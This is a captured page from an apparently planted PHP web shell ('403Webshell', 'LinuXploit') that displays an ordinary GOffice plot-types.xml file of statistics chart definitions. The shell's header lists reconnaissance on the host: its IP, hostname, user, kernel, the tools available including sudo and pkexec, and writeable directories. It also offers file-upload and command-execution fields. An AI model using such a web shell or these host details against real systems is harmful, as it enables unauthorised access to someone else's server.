403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/goffice/0.10.55/plugins/plot_distrib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/goffice/0.10.55/plugins/plot_distrib/plot-types.xml
<?xml version="1.0" encoding="UTF-8"?>
<Types xmlns:graph="http://www.gnumeric.org/graph_v2.dtd">
	<Family _name="Statistics"	sample_image_file="res:go:plot_distrib/dist.xpm" axis_set="xy"/>

	<Type _name="HBoxPlots" row="1" col="1"
		engine="GogBoxPlot" family="Statistics"
		_description="Horizontal Box-Plot."
		sample_image_file="res:go:plot_distrib/chart_boxplot_1_1.png">
		<property name="guru-hints">backplane</property>
	</Type>
	<Type _name="VBoxPlots" row="1" col="2"
		engine="GogBoxPlot" family="Statistics"
		_description="Vertical Box-Plot."
		sample_image_file="res:go:plot_distrib/chart_boxplot_1_2.png">
		<property name="vertical">true</property>
		<property name="guru-hints">backplane</property>
	</Type>
	<Type _name="HBoxPlotOutliers" row="2" col="1"
		engine="GogBoxPlot" family="Statistics"
		_description="Horizontal Box-Plot showing outliers."
		sample_image_file="res:go:plot_distrib/chart_boxplot_2_1.png">
		<property name="outliers">true</property>
		<property name="guru-hints">backplane</property>
	</Type>
	<Type _name="VBoxPlotOutliers" row="2" col="2"
		engine="GogBoxPlot" family="Statistics"
		_description="Vertical Box-Plot showing outliers."
		sample_image_file="res:go:plot_distrib/chart_boxplot_2_2.png">
		<property name="outliers">true</property>
		<property name="vertical">true</property>
		<property name="guru-hints">backplane</property>
	</Type>
	<Type _name="Histogram" row="3" col="1"
		engine="GogHistogramPlot" family="Statistics"
		_description="Histogram."
		sample_image_file="res:go:plot_distrib/chart_histogram_1_1.png">
		<property name="guru-hints">backplane</property>
	</Type>
	<Type _name="CumulativeHistogram" row="3" col="2"
		engine="GogHistogramPlot" family="Statistics"
		_description="Cumulative histogram."
		sample_image_file="res:go:plot_distrib/chart_histogram_2_1.png">
		<property name="guru-hints">backplane</property>
		<property name="cumulative">true</property>
	</Type>
<!--	<Type _name="DoubleHistogram" row="3" col="3"
		engine="GogDoubleHistogramPlot" family="Statistics"
		_description="Double histogram."
		sample_image_file="res:go:plot_distrib/chart_histogram_1_3.png">
		<property name="guru-hints">backplane</property>
	</Type>
	<Type _name="PopulationPyramid" row="3" col="4"
		engine="GogDoubleHistogramPlot" family="Statistics"
		_description="Population pyramid."
		sample_image_file="res:go:plot_distrib/chart_histogram_1_4.png">
		<property name="guru-hints">backplane</property>
		<property name="vertical">false</property>
	</Type> -->
	<Type _name="ProbabilityPlot" row="4" col="1"
		engine="GogProbabilityPlot" family="Statistics"
		_description="Probability plot."
		sample_image_file="res:go:plot_distrib/chart_prob_1_1.png">
	</Type>
</Types>

Youez - 2016 - github.com/yon3zu
LinuXploit